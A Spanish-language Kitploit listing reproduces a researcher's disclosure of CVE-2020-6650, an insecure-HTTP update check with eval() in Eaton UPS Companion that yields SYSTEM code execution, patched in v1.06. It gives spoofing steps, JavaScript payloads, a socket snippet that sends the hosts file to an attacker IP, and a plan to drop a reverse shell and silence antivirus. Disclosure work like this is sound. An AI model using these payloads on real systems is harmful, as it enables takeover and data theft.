Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Eaton-UPS-Companion-Exploit — Este repositorio detalla CVE-2020-6650, una vulnerabilidad que descubrí en UPS Companion de Eaton. Todos los usuarios deben actualizar a la v1.06 inmediatamente, de lo contrario corren el riesgo de tener acceso de administrador remoto a su sistema. | Kitploit
Herramientas/GitHubGitHub/ravss/eaton-ups-companion-exploit
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
ravss/eaton-ups-companion-exploit

Eaton-UPS-Companion-Exploit

Este repositorio detalla CVE-2020-6650, una vulnerabilidad que descubrí en UPS Companion de Eaton. Todos los usuarios deben actualizar a la v1.06 inmediatamente, de lo contrario corren el riesgo de tener acceso de administrador remoto a su sistema.

Ver Repositorio
11hace 6 añosAún no revisado

Resumen

El software Eaton UPS Companion busca una actualización cada semana a través de una conexión HTTP insegura y ejecuta eval() sobre el contenido de lo que sea que esté en la URL de actualización. Esto permite a un atacante crear una función JavaScript que utiliza las operaciones de bajo nivel del sistema operativo que ya existen en el software backend, como la ejecución de archivos, sockets de red y E/S del sistema de archivos. Todas estas operaciones ocurren con privilegios de NT AUTHORITY\SYSTEM, probablemente debido a los permisos que un SAI (Sistema de Alimentación Ininterrumpida) necesita para la gestión del sistema. Después de esperar un tiempo, se produce una inyección de comandos automática que otorga un shell SYSTEM sin esfuerzo.

Esto se ha solucionado en la versión 1.06 y el ID de CVE asignado es CVE-2020-6650.

Cronología (UTC+12)

Bug notado2019/10/25 - 21:43
Exploit realizado2019/12/28 - 06:28
Reportado a Eaton2019/12/28 - 10:00
Reconocido2019/12/30 - 22:05
PoC simple enviado2020/01/04 - 03:32
Siendo parcheado2020/01/21 - 12:54
Parcheado2020/03/21 - 12:21

Gracias a Eaton por hacer sencilla la divulgación de este exploit.


Pasos de descubrimiento

Eaton UPS Companion obtiene actualizaciones de http://pqsoftware.eaton.com/upgrade/upgrade_euc.info

Problema 1: Puede ser fácilmente suplantado mediante arpspoof y dnsspoof de dsniff, luego python -m http.server 80. Problema 2: La falta de HTTPS abre otro vector de ataque para el mismo efecto.

A partir de 2019/10/25 - 22:08, este es el contenido del enlace:

root@kitploit:~
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
  "EUC":
  {
    "WINDOWS":
    {
      "version": "1.04.017",
      "packageURL": "install/win32/euc/euc_win_1_04_017.exe",
      "info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
    }
  }
}

No puedo entender cómo se calcula la suma de verificación SHA1 del archivo o qué se usa para calcularla, pero hacerlo simplificaría mucho esto.

Eaton UPS Companion crea un servidor HTTP local en http://localhost:4679. Al hacer clic en "Version: Eaton UPS Companion v1.05" se abre un registro de depuración "oculto" en http://localhost:4679/trace.html. También se puede abrir mediante ".\mc2.exe -start -debug" en cmd.exe

Servir una página HTML vacía provoca un error destacado que se registra:

root@kitploit:~
2019/10/25-21:32:29.051 | UpdateManager        | !!! ERROR: Update data could not be parsed: 
{
  "message": "syntax error", 
  "fileName": "scripts/libs/json.js", 
  "lineNumber": 122, 
  "stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
  "name": "SyntaxError"
}

Aquí se está usando eval(), lo que nos facilita las cosas. Aquí hay un ejemplo de manipulación de la interfaz de usuario, donde el contenido siguiente se coloca en update_euc.info.

root@kitploit:~
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})

Esto se puede transformar en una función adecuada gracias a las funciones anónimas:

root@kitploit:~
(function() {
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()

Creo que también puede haber acceso a ShutdownManager, lo cual no es bueno.

Ir a http://localhost:4679/server/data_srv.js?action=init revela más información sobre cómo funciona el sistema. Las funciones JS normales como alert() no existen y objetos como document, console y object tampoco existen. ¿Edición muy antigua de ECMAScript o algo así? Tampoco hay palabra clave let, solo var.

Esto podría ayudar:

root@kitploit:~
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",

UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});

Puedo ver todas las propiedades de los objetos "manager", por ejemplo UpdateManager mediante:

root@kitploit:~
(function() {
  for (var property in UpdateManager) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
  }
})()

Al hacer eso en UpdateManager se encontraron estas funciones muy interesantes:

root@kitploit:~
selfUpdate IS function () {\n    var packagePath = UpdateManager.retrievePackage();\n    if (packagePath) {\n        ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n    }\n}

retrievePackage IS function () {\n    var updateLocation = UpdateManager.updateLocation;\n    if (!UpdateManager.updateData) {\n        UpdateManager.checkForUpgrade();\n    }\n    if (!UpdateManager.updateData.packageURL) {\n        error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n        return false;\n    }\n    var packageURL = UpdateManager.updateData.packageURL;\n    var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n    File.createPath(UpdateManager.outputPath);\n    if (File.status(packagePath)) {\n        debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n        return packagePath;\n    }\n    debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n    var client = new HTTPClient(updateLocation);\n    var response = client.get(packageURL);\n    if (response && response.status == 200) {\n        debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n        try {\n            File.put(packagePath, response.data);\n            debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n            return packagePath;\n        } catch (e) {\n            error(\"Failed to save update package at '?'\", packagePath);\n        }\n    } else {\n        debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n    }\n    return false;\n}

Esto logra indicar que podemos causar problemas:

root@kitploit:~
(function() {
  if (System.getAdminRights()) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
  }
})()

Hay más llamadas a funciones útiles como File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") que escupe el contenido del archivo de hosts en una cadena, pero solo internamente. Después de revisar las propiedades del objeto HTTPClient, hay otra clase de objeto que permite crear sockets.

Por ejemplo, para recibir el archivo de hosts:

root@kitploit:~
(function() {
  var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
  var s = new Socket("tcp");
  s.connect("192.168.1.???", 44444);
  s.send(hosts);
  s.close;
 }
})()

Finalmente, descubrí cómo funciona System.open(<file>, <args>), que ejecuta un archivo. A partir de aquí, solo es cuestión de subir una reverse shell, silenciar cualquier solución antivirus (ya que tenemos privilegios SYSTEM) y obtener una reverse shell.

Descargar herramienta